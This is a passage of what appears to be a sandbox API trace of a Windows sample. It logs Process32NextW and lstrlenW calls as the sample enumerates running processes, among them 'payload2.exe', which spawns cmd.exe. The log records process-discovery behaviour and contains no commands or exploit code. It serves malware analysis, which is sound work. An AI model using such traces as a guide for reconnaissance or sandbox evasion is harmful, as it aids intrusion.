	[0074.435] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0074.435] lstrlenW (lpString="services.exe") returned 12
	[0074.436] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0074.436] lstrlenW (lpString="lsass.exe") returned 9
	[0074.436] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.437] lstrlenW (lpString="svchost.exe") returned 11
	[0074.437] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0074.437] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0074.438] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0074.438] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0074.438] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.439] lstrlenW (lpString="svchost.exe") returned 11
	[0074.439] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0074.440] lstrlenW (lpString="dwm.exe") returned 7
	[0074.440] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.440] lstrlenW (lpString="svchost.exe") returned 11
	[0074.440] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.441] lstrlenW (lpString="svchost.exe") returned 11
	[0074.441] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.442] lstrlenW (lpString="svchost.exe") returned 11
	[0074.442] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.442] lstrlenW (lpString="svchost.exe") returned 11
	[0074.443] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.443] lstrlenW (lpString="svchost.exe") returned 11
	[0074.443] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.444] lstrlenW (lpString="svchost.exe") returned 11
	[0074.444] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.445] lstrlenW (lpString="svchost.exe") returned 11
	[0074.445] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.445] lstrlenW (lpString="svchost.exe") returned 11
	[0074.446] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.446] lstrlenW (lpString="svchost.exe") returned 11
	[0074.446] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0074.447] lstrlenW (lpString="spoolsv.exe") returned 11
	[0074.447] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.448] lstrlenW (lpString="svchost.exe") returned 11
	[0074.448] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.448] lstrlenW (lpString="svchost.exe") returned 11
	[0074.448] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0074.449] lstrlenW (lpString="audiodg.exe") returned 11
	[0074.449] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0074.450] lstrlenW (lpString="sihost.exe") returned 10
	[0074.450] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.451] lstrlenW (lpString="svchost.exe") returned 11
	[0074.451] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.451] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.452] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0074.452] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0074.452] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0074.453] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0074.453] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0074.454] lstrlenW (lpString="explorer.exe") returned 12
	[0074.454] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0074.454] lstrlenW (lpString="Memory Compression") returned 18
	[0074.454] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0074.455] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0074.455] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0074.456] lstrlenW (lpString="SearchUI.exe") returned 12
	[0074.456] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0074.456] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0074.457] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0074.457] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0074.457] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.458] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.458] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0074.459] lstrlenW (lpString="UsoClient.exe") returned 13
	[0074.459] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0074.459] lstrlenW (lpString="taskhostw.exe") returned 13
	[0074.460] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0074.460] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0074.460] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0074.461] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0074.461] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0074.462] lstrlenW (lpString="msoia.exe") returned 9
	[0074.462] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0074.462] lstrlenW (lpString="msoia.exe") returned 9
	[0074.462] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0074.463] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0074.463] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0074.464] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0074.464] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0074.464] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0074.464] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0074.465] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0074.465] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0074.466] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0074.466] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0074.467] lstrlenW (lpString="legends.exe") returned 11
	[0074.467] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0074.467] lstrlenW (lpString="miniature.exe") returned 13
	[0074.467] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0074.468] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0074.468] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0074.469] lstrlenW (lpString="thorough.exe") returned 12
	[0074.469] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0074.469] lstrlenW (lpString="dllhost.exe") returned 11
	[0074.469] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0074.470] lstrlenW (lpString="interactive.exe") returned 15
	[0074.470] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0074.471] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0074.471] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0074.967] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0074.967] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0074.968] lstrlenW (lpString="eastexamined.exe") returned 16
	[0074.968] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0074.968] lstrlenW (lpString="attacks-according.exe") returned 21
	[0074.969] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0074.969] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0074.969] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0074.970] lstrlenW (lpString="values latin.exe") returned 16
	[0074.970] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0074.971] lstrlenW (lpString="eaufeed.exe") returned 11
	[0074.971] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0074.972] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0074.972] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0074.973] lstrlenW (lpString="burning.exe") returned 11
	[0074.973] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0074.974] lstrlenW (lpString="warned-garage.exe") returned 17
	[0074.974] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0074.975] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0074.975] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0074.976] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0074.976] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0074.977] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0074.977] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0074.978] lstrlenW (lpString="proprietary.exe") returned 15
	[0074.978] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.978] lstrlenW (lpString="conhost.exe") returned 11
	[0074.978] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.979] lstrlenW (lpString="conhost.exe") returned 11
	[0074.979] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0074.980] lstrlenW (lpString="payload2.exe") returned 12
	[0074.981] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0074.981] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0074.981] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0074.982] lstrlenW (lpString="conhost.exe") returned 11
	[0074.982] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0074.983] lstrlenW (lpString="svchost.exe") returned 11
	[0074.983] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0074.984] lstrlenW (lpString="cmd.exe") returned 7
